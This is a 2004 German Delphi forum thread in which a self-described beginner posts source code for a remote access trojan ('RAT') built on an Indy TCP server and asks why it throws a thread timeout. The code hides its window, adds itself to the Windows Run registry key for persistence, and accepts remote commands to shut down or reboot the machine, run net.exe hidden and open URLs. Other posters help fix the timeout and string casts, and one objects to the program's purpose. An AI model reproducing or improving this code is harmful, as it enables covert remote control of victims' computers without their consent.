AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Zurück Delphi-PRAXiS Programmierung allgemein Netzwerke Delphi es kommt immer fehlermeldung beim befehle sende
Thema durchsuchen
Ansicht
Themen-Optionen

es kommt immer fehlermeldung beim befehle sende

Ein Thema von the_seed · begonnen am 18. Jan 2004 · letzter Beitrag vom 18. Jan 2004
Antwort Antwort
the_seed

Registriert seit: 31. Dez 2003
213 Beiträge
 
#1

es kommt immer fehlermeldung beim befehle sende

  Alt 18. Jan 2004, 11:02
Hi hab mir einen kleinen idtcp server zusammen gebastelt , soll eigentlich ein rat werden, ich bin noch anfänger und weiss noch nicht so gut darüber bescheid.. wenn ich einen befehl vom clienten her schicke wird er zwar ausgeführt aber ca. 7sek dannach kommt eine fehlermeldung,

"Im ... ist eine exception der klasse eldterminate Thread timeout aufgetreten Meldung: 'Zeitüberschreitung bei beendung von thread' Prozess wurde angehalten ....





Delphi-Quellcode:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent,registry, IdComponent, IdTCPServer, ExtCtrls,shellapi,mmsystem,
  IdAntiFreezeBase, IdAntiFreeze;

type
  TForm1 = class(TForm)
    IdTCPServer1: TIdTCPServer;
    IdAntiFreeze1: TIdAntiFreeze;
    procedure IdTCPServer1Execute(AThread: TIdPeerThread);
    procedure FormCreate(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

uses Unit2;

{$R *.dfm}

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var m,u,param,p:string;
label st,lol,cht,ever,ende,url,n1,n2;
var reg:tregistry;
sSite: String;
begin

m := aThread.Connection.Readln;
if m='nthen goto lol;
if m='logthen ExitWindowsEx(EWX_LOGOFF, 0);
if m='newthen ExitWindowsEx(EWX_REBOOT, 0);
if m='downthen ExitWindowsEx(EWX_SHUTDOWN, 0);
if m='closethen goto ende;
if m='urlthen goto url;
if m='cd1then mciSendString('Set cdaudio door open wait', nil, 0, handle);
if m='cd2then mciSendString('Set cdaudio door closed wait', nil, 0, handle);
if m='n1then goto n1;
if m='n2then goto n2;
if m='chtthen form2.show;
begin

lol:
begin
try
u := aThread.Connection.Readln;
showmessage(u);
except end;
end;

n1:
begin
try
Param := 'start messenger';
ShellExecute (GetDesktopWindow, 'open', 'net.exe', PChar(Param), nil, SW_HIDE);
finally end;

n2:
begin
try
Param := 'stop messenger';
ShellExecute (GetDesktopWindow, 'open', 'net.exe', PChar(Param), nil, SW_HIDE);
finally end;

ende:
begin
try
idtcpserver1.active:=false;
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.DeleteValue('form1');
Reg.Destroy;
finally
end;


url:
begin
try
u := aThread.Connection.Readln;
sSite := Trim(u);
if Pos('://', sSite) <= 0 then
sSite := 'http://' + sSite;
ShellExecute(Form1.Handle, 'open', PChar(sSite), nil, nil, SW_SHOWNORMAL);
finally
end;
end;
end;
end;
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  hwndOwner: HWnd;
    Reg: TRegistry;
begin
  try
  hwndOwner := GetWindow(Handle, GW_OWNER);
  ShowWindow(hwndOwner, SW_HIDE);
  ShowWindowAsync(hwndOwner, SW_HIDE);
  ShowWindowAsync(Self.Handle, SW_HIDE);

   Reg := TRegistry.Create;
  Reg.RootKey := HKEY_CURRENT_USER;
  Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
  Reg.WriteString('form1', ParamStr(0));
  Reg.Destroy;
  finally end;

end;
end.
Bitte um hilfe..
  Mit Zitat antworten Zitat
BungeeBug

Registriert seit: 19. Dez 2002
Ort: zuhause?!
227 Beiträge
 
Delphi 6 Personal
 
#2

Re: es kommt immer fehlermeldung beim befehle sende

  Alt 18. Jan 2004, 11:25
HI,

der Server bricht die Verbindung ab weil nix los ist .. timeout eben ... du solltest ein "noop" Command einführen was jede Sekunde geschickt wird um die Verbindung zuhalten aber nix tut.

Auserdem ist dein Programmierstil mit "goto" mehr als schlecht. Sorry. Im normal Fall nimmt man für sowas den CASE Befehl da mit Goto's sehr schnell Chaos entstehen kann was am Ende von niemandem mehr beseitigt werden kann ...
MfG BungeeBug
Wer andern eine Grube gräbt sollte auf Gasleitungen achten!!!!
  Mit Zitat antworten Zitat
Benutzerbild von Sharky
Sharky

Registriert seit: 29. Mai 2002
Ort: Frankfurt
8.251 Beiträge
 
Delphi 2006 Professional
 
#3

Re: es kommt immer fehlermeldung beim befehle sende

  Alt 18. Jan 2004, 11:28
Hai the_seed,

gib mal bitte eine Erklärung:

a) Was soll das für ein Programm sein
b) Warum trägt es sich ungefragt beim Start in den RUN-Key ein?

Solche "Art" von Programmen unterstütze ICH grundsätzlich nicht.
.
.
.
Und ich hoffe andere auch nicht
Stephan B.
"Lasst den Gänsen ihre Füßchen"
  Mit Zitat antworten Zitat
the_seed

Registriert seit: 31. Dez 2003
213 Beiträge
 
#4

Re: es kommt immer fehlermeldung beim befehle sende

  Alt 18. Jan 2004, 13:52
@sharky
Zitat:
...soll eigentlich ein rat werden...
das sollte deine Frage beantworten...


@bungeebug
Bin noch Newbie hab nicht recht gewusst wie ich es anstellen soll, habs jetzt aber so gelöst:

Code:
procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var m,u,param,o,p:string;
label st,lol,cht,ever,ende,url,n1,n2;
var reg:tregistry;
sSite: String;
begin

m := aThread.Connection.Readln;
if m='n' then
begin
u := aThread.Connection.Readln;
showmessage(u);
end

else
if m='log' then
begin
ExitWindowsEx(EWX_LOGOFF, 0);
end

else
if m='new' then
begin
ExitWindowsEx(EWX_REBOOT, 0);
end

usw. usw............................


Habe aber noch ein Problem , wenn ich die Message als "MessageBox" rausgeben lassen will, kommt bei mir imer fehler - Inkompatible Typen... ( Pansichar und String)....

Wie bekomm ich Pansichar in einen String??
  Mit Zitat antworten Zitat
Benutzerbild von mirage228
mirage228

Registriert seit: 23. Mär 2003
Ort: Münster
3.750 Beiträge
 
Delphi 2010 Professional
 
#5

Re: es kommt immer fehlermeldung beim befehle sende

  Alt 18. Jan 2004, 13:54
Mit dem simplen Typecast:

  PAnsiChar(DeinString); mfG
mirage228
David F.

May the source be with you, stranger.
PHP Inspection Unit (Delphi-Unit zum Analysieren von PHP Code)
  Mit Zitat antworten Zitat
the_seed

Registriert seit: 31. Dez 2003
213 Beiträge
 
#6

Re: es kommt immer fehlermeldung beim befehle sende

  Alt 18. Jan 2004, 17:06
@mirage... war misstverständnis ich meinte es anders herum , pansichar inen string, muss das dann so heissen string(PansiChar) ? <- da kommt nähmlich auch meldung inkompatibel...
  Mit Zitat antworten Zitat
Benutzerbild von mirage228
mirage228

Registriert seit: 23. Mär 2003
Ort: Münster
3.750 Beiträge
 
Delphi 2010 Professional
 
#7

Re: es kommt immer fehlermeldung beim befehle sende

  Alt 18. Jan 2004, 17:17
Soweit ich weiss kannst du
  MyString := MyPAnsiChar; schreiben.

mfG
mirage228
David F.

May the source be with you, stranger.
PHP Inspection Unit (Delphi-Unit zum Analysieren von PHP Code)
  Mit Zitat antworten Zitat
Antwort Antwort


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 06:01 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz